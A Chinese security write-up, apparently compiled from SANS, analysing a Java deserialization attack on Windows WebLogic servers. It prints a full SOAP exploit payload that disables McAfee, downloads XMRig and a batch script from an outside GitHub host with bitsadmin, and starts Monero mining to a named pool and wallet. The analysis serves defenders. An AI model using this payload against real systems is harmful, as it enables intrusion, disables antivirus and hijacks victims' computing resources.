利用Java反序列化漏洞在Windows上的挖矿实验

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目前绝大多数的此类攻击针对的都是Linux/Unix系统,但是我近期发现了一种针对Windows系统的攻击方法。 

PS:本文仅用于技术讨论与分享,严禁用于非法用途 

攻击代码如下:

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <objectclass="java.lang.ProcessBuilder">
          <arrayclass="java.lang.String" length="3" >
            <void index="0">
              <string>cmd</string>
            </void>
            <void index="1">
              <string>/c</string>
            </void>
            <void index="2">
              <string>net stop"McAfee McShield;net stop mcafeeframework;bitsadmin.exe /transfer"xmrig.bat" /download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.bat"%cd%xmrig.bat";bitsadmin.exe /transfer "xmrig.exe"/download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.exe"%cd%xmrig.exe;dir xmrig*;xmrig.bat;tasklist;</string>
            </void>
          </array>
          <voidmethod="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

实际的Payload分析

关闭McAfee反病毒软件(我不明白社区中的这种技术为啥只关掉McAfee…):

netstop "McAfee McShield;
netstop mcafeeframework;

使用bitsadmin从GitHub下载加密货币挖矿程序和一个batch脚本文件:

bitsadmin.exe/transfer "xmrig.bat" /download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.bat"%cd%xmrig.bat";
bitsadmin.exe/transfer "xmrig.exe" /download /priority foreground http://raw.githubusercontent.com/sirikun/starships/master/xmrig.exe"%cd%xmrig.exe;
dirxmrig*;
xmrig.bat;
tasklist;

Batch脚本文件代码如下:

taskkill/im /f xmrig.exe /t
netstop "McAfee McShield"
netstop mcafeeframework
xmrig.exe-o monerohash.com:3333 -u 42jF56tc85UTZwhMQc6rHbMHTxHqK74qS2zqLyRZxLbwegsy7FJ9w4T5B69Ay5qeMEMuvVDwHNeopAxrEZkkHrMb5phovJ6-p x --background --max-cpu-usage=50 --donate-level=1

首先,上述代码会终止其他xmrig进程(可能是为了防止资源竞争)。接下来,它会关闭McAfee。然后便会开启挖矿程序,并跟monerohash.com矿池(端口3333)进行连接。它只会占用大约50%的CPU资源,估计是为了避免被检测到吧。

* 参考来源:sans,FB小编Alpha_h4ck编译,来自FreeBuf.COM

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